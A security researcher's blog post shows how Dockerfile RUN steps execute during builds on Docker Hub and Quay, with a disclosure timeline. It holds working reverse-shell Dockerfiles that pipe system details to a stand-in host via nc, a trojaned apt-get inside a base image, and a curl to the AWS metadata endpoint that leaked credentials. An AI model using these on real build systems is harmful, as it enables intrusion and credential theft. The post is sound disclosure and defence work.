For those of you not in the know, ambergris is defined as:

a wax-like substance that originates as a secretion in the intestines of the sperm whale, found floating in tropical seas and used in perfume manufacture.

Photo of Whale Barfing

However, that will not be what this post is about (sorry to disappoint). Instead, I’ll present what happens when building an image on Docker that contains a reverse shell in the Dockerfile.

Docker

Docker Logo

First, let me start with a very brief description of Docker. If you are already familiar with Docker you should skip to the next section.

Docker is an open-source project that automates the creating of the environment for Linux applications inside software containers.

Docker containers wrap up a piece of software in a complete filesystem that contains everything it needs to run: code, runtime, system tools, system libraries - anything you can install on a server. This guarantees that it will always run the same, regardless of the environment it is running in.

Docker Diagram

Docker vs. Virtual Machines

Unlike Traditional virtual machines Docker images do not contain the entire OS, just the libraries and resources needed by the application.

VIRTUAL MACHINES: Virtual machines include the application, the necessary binaries and libraries, and an entire guest operating system – all of which can amount to tens of GBs

CONTAINERS: Containers include the application and all of its dependencies – but share the kernel with other containers, running as isolated processes in user space on the host operating system. Docker containers are not tied to any specific infrastructure: they run on any computer, on any infrastructure, and in any cloud.

Docker vs VMs

Dockerfile

The Dockerfile is a set of instructions executed by docker to build an image which can later be run. Below is an example Dockerfile which after being built can be run to print Hello World to stdout.

FROM debian

ENV MESSAGE "Hello World"

RUN echo "$MESSAGE" > /message.txt

CMD cat /message.txt 

The RUN command in a Dockerfile runs when docker is building the image. CMD or ENTRYPOINT run when the image is being run. Typically all setup for the image is performed in RUN commands while the application the image is being built for starts with the CMD command.

Docker Hub

Docker Hub

Docker Hub is a cloud-based registry service which allows you to link to code repositories, build your images and test them, store manually pushed images, and links to Docker Cloud so you can deploy images to your hosts. It provides a centralized resource for container image discovery, distribution and change management, user and team collaboration, and workflow automation throughout the development pipeline.

Everything should be in the cloud right? ☁

Container Lifecycle

Docker Lifecycle

  • $ docker build
    • Create a container on from a Dockerfile
  • $ docker pull
    • Pull a pre-built image from the Docker Hub
  • $ docker run
    • Runs a prebuilt container
    • Can also build or pull a container if it does not exist locally…

Ambergris

A reverse shell inside your Dockerfile

So, what would happen if we put a reverse shell in a Dockerfile using RUN commands? Below is a Dockerfile I created to test just that.

FROM busybox

ENV POC_HOST attacker.net
ENV POC_PORT 1337

RUN echo "Please NEVER build this image!"

RUN (echo "== UNAME =="; uname -a) | nc $POC_HOST $POC_PORT
RUN (echo "== ID =="; id) | nc $POC_HOST $POC_PORT
RUN (echo "== IP =="; ip a) | nc $POC_HOST $POC_PORT
RUN (echo "== DMESG =="; dmesg) | nc $POC_HOST $POC_PORT

RUN nc $POC_HOST $POC_PORT -e /bin/sh

CMD sh

This Dockerfile sends our server located at attacker.net the output of uname, id, ip a, dmesg, and finally, a reverse shell.

Local Builds

In order to test this, build this local image, replacing attacker.net with your own domain. And have a shell listener on port 1337.

docker build .

Belcher Kids Ambergris

Even though the user runs the reverse shell as root, it is not a fully privileged root. You are running as root inside a Docker container. You have uid=0, gid=0, but some system level privileges may not be present like NET_ADMIN preventing you from putting the network interface into promiscuous mode. Additionally you will have a virtual network adapter behind a virtual NAT on the host and a different root file-system.

Alternatively the image can be built locally from a remote source such as GitHub!

docker build github.com/lanrat/ambergris

This will have the same effect as the local Dockerfile above. However, in this scenario the Dockerfile containing the reverse shell is not saved on the image building system allowing the user to see what commands they are running. This can be just as dangerous as pipe to sh.

Holding Ambergris

Remote Builds

Docker Hub

Docker Hub Ambergris Screenshot

What if we send our “backdoored” Dockerfile to the Docker Hub to be built? Well, not surprisingly it is built! And as part of the building process the reverse shell is run!

Docker Hub reverse shell

The Docker Hub is not the only cloud image building service in town, QUAY is another, let’s test it!

quay.io build

quay.io reverse shell

Another shell!

Build Environment

Both Docker Hub and QUAY run on AWS. So the shells we get are inside a Docker container on an AWS instance.

Docker Hub

  • Hardware
    • 2.50GHz Intel Xeon CPU
    • 4GB Ram
    • 40GB HD space
  • Can read host dmesg
    • kernel stack traces of host
    • Apparmor rules
    • networking information
    • vpn info
    • limited information on previous containers built
  • Limits execution time to 2 hours

QUAY

  • Hardware
    • 2.40GHz Intel Xeon CPU x2
    • 4GB Ram
    • 50GB HD space
  • Can read host dmesg
    • kernel stack traces of host
    • Apparmor rules
    • networking information
    • limited information on previous containers built
  • Limits execution time to 1 hour
    • automatically runs 3 times!

Both the official Docker Hub and QUAY have similar environments and limits on build execution time. Like in a normal Docker container the dmesg command will return information about the host system which may contain sensitive information.

What can I do with this anyways?

You basically get a free AWS instance that reboots every 1-2 hours with no persistent storage. But with a few clever hacks these limitations can be overcome.

Example usages:

  • Mine Bitcoin
  • Send spam
  • Botnet
  • Tor node
  • Password cracking
  • Proxy

Mine Bitcoins, Send Spam, Botnet, Tor node, Password Cracking, Proxy

Obfuscation

Even if you view the Dockerfile of an image before you build it, it is still possible to end up with a reverse shell on your system. Examine the following example:

FROM lanrat/base

RUN apt-get install myapp

CMD myapp

Looks safe right? Not so fast…

Suppose the Dockerfile for lanrat/base contained the following:

FROM debian

ENV POC_HOST attacker.net
ENV POC_PORT 1337

RUN echo "Please NEVER build this image!"

RUN echo -e '#!/bin/sh \nnc $POC_HOST $POC_PORT -e /bin/sh' > /usr/bin/apt-get

RUN chmod +x /usr/bin/apt-get

CMD sh

This effectively replaces the apt-get command with a reverse shell. So when the image using lanrat/base is built it calls apt-get thinking it is going to install myapp but it really starts a reverse shell.

This can be taken a step further by having the fake apt-get command pass its arguments to the real apt-get and fork the reverse shell to the background. As the image would appear to be built successfully it may go unnoticed, but every time it is built, or even run, the attacker’s code may run.

Running Inside AWS

Both the Docker Hub and Quay use AWS to build the Docker images. This means that the shell you get inside a Dockerfile when building on one of these services is inside the AWS infrastructure.

I found that within this environment Docker containers being build can make requests to the AWS Instance Metadata API. This API may leak information such as access tokens, usernames/passwords for API/infrastructure and configuration details. The AWS Instance Metadata API is accessible by making HTTP requests to the IP address 169.254.169.254. For Example:

curl http://169.254.169.254/latest/user-data

The Docker hub had very little information accessible from this API but QUAY had a more of their environment’s configuration including usernames, keys, and access tokens accessible.

Takeways

  • Know where your image comes from
  • Know where your base image’s base image comes from
  • Understand that docker build is just as dangerous as docker run with untrusted images
  • Block access to the AWS Instance Metadata API if you allow users to make HTTP requests from your infrastructure

Disclosure

Docker

  • 8/29/16 - My initial disclosure
  • 8/29/16 - Response acknowledging potential vulnerability. Informed me that each Docker build is performed on a fresh VM
  • 8/30/16 - AWS Instance Metadata API blocked from within Docker build environment

QUAY (CoreOS)

  • 8/30/16 - My initial disclosure
  • 8/30/16 - Response acknowledging as expected behavior.
  • 8/30/16 - I provided example of data leaking on the AWS Instance Metadata API
  • 8/30/16 - Removed sensitive data from AWS Instance Metadata API

Bonus Video